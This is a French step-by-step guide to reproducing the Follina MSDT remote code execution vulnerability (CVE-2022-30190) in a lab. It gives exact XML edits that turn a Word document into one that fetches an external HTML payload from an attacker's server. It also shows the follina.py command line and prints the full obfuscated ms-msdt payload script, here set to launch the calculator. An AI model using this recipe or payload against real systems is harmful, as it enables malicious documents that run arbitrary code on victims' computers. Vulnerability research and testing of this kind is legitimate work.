
Guide de reproduction pas à pas pour la vulnérabilité d'exécution de code à distance CVE-2022-30190 (Follina) MSDT, incluant la création de documents malveillants et la configuration du serveur C2.
alias Follina
Follina existe dans l'outil de diagnostic de support Microsoft (MSDT). Lorsqu'une application appelle MSDT via un protocole URL pour obtenir du support, une vulnérabilité d'exécution de code à distance se produit. Une exploitation réussie permet à un attaquant d'exécuter du code arbitraire avec les privilèges de l'application en cours d'exécution.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 Créez un document Word (.docx) et insérez un objet OLE (ex : Bitmap Image) dans le texte.
Step2 Décompressez le fichier .docx, modifiez le fichier word/_rels/document.xml.rels dans le dossier, remplacez le texte surligné en jaune ci-dessous Target="embeddings/oleObject1.bin" par Target = "http://<payload_server>/<random_name>.html!" et ajoutez l'attribut TargetMode = "External".

Step3 Modifiez le fichier word/document.xml dans le dossier, remplacez le texte surligné en jaune ci-dessous Type="Embed" par Type="Link" et ajoutez l'attribut UpdateMode="OnCall".

Step4 Ouvrez le fichier .docx avec 7-zip (sans décompression), glissez les deux fichiers modifiés dans le .docx pour finaliser la création du document malveillant.
Téléchargez Follina.py publié par John Hammond. Ici, nous prenons l'exemple de l'appel de base à la calculatrice :
python3 follina.py -c calc.exe -i eth0
Dans le fichier Follina.py, les lignes 117 à 125 fabriquent principalement le payload malveillant (.html). Le contenu est le suivant : <script>location.href... est le script qui exécutera la calculatrice sur la machine victime. L'ensemble du fichier est également rempli d'un grand nombre de caractères aléatoires afin de le remplir jusqu'à au moins 4096 octets. Pour la raison, voir “Follina” MSDT Attack.
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script>
Article d'actualité
Follina.py
Document malveillant
Test de vulnérabilité 1
Test de vulnérabilité 2
Test de vulnérabilité 3